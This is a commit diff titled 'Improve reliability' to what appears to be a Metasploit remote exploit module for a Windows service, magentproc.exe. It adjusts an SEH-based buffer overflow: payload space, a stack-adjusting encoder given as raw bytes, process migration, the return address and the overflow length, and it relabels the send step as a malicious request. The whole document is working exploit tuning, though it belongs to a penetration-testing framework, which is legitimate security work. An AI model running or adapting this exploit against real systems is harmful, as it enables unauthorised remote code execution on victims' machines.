Improve reliability
parent
39eb20e33a
commit
5971fe87f5
|
@ -36,15 +36,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Privileged' => false,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'seh',
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'SSL3'
|
||||
'SSLVersion' => 'SSL3',
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 5724, # without rop chain
|
||||
'StackAdjustment' => -3500,
|
||||
'BadChars' => "\x00"
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x00",
|
||||
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'DefaultTarget' => 0,
|
||||
|
@ -56,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# magentproc.exe 11.0.0.1002
|
||||
'Offset' => 1104,
|
||||
'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates
|
||||
'Crash' => 10000 # Length needed to ensure an exception
|
||||
'Crash' => 6000 # Length needed to ensure an exception
|
||||
}
|
||||
]
|
||||
],
|
||||
|
@ -74,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
req << rand_text(target['Crash'])
|
||||
|
||||
connect
|
||||
print_status("sending 1")
|
||||
print_status("Sending malicious request...")
|
||||
sock.put(req)
|
||||
disconnect
|
||||
|
||||
|
|
Loading…
Reference in New Issue